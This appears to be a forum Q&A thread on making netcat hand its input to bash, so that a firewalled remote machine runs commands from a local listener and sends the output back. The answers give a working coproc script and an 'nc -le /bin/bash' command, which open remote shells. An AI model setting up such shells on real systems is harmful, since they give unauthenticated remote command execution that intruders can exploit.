I am trying to make netcat to listen to connect to a remote machine, run bash for every text that comes from the remote machine and send the result of the command back to the remote machine.

Yep. Totally hacky.

I kinda got it working like this:

On my local machine, I run netcat -l -p 8765

On the remote, firewalled machine, I run netcat <ipofmylocalmachine> 8765 | bash -

I can see the result of my commands when I do a tail -f /tmp/output on the remote machine, and enter a echo "test" > /tmp/output

But how can I see the result of the bash command on my local machine?

I can do it with Python and Perl, but how can it be done using only bash?

Just as a note, I am aware of reverse shell explanations, like http://blog.safebuff.com/2016/06/19/Reverse-shell-Cheat-Sheet/, but note that what I am looking for is a little different. Instead of opening a port of the server, the port being open is on the client, which is not firewalled.


Basically what you want to do is connect STDOUT of netcat to STDIN of bash, and STDOUT of bash to STDIN of netcat.

Bash has several methods of launching commands, but only one way of launching a command and being able to both read from the command, and write to it. Bash calls this a coproc.

So lets look at the final script that will let us do what we want, and then we'll dissect it.

coproc netcat -l -p 8765
exec bash <&${COPROC[0]} >&${COPROC[1]} 2>&1

So the first line launches netcat in the background, assigns STDOUT of netcat to a file descriptor who's number is stored ${COPROC[0]} and STDIN of netcat to a file descriptor who's number is stored in ${COPROC[1]}.
So now we need to redirect these file descriptors to bash's STDIN/STDOUT/STDERR. However when bash is running a script, it is reading commands from the script file, and there is no way to tell it to switch to reading from a file descriptor. So we re-exec bash with STDIN connected to ${COPROC[0]}, STDOUT connected to ${COPROC[1]}, and STDERR also connected to ${COPROC[1]}.


You will need the netcat-traditional package.

Just use the command:

$ nc.traditional -le /bin/bash -p <port to listen>

For example:

nc.traditional -le /bin/bash -p 8888

Connect and run the ls, you should be able to see the files.

  • Any way it can be done using "vanilla" bash? – Alexandre Santos Feb 17 '17 at 0:24

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.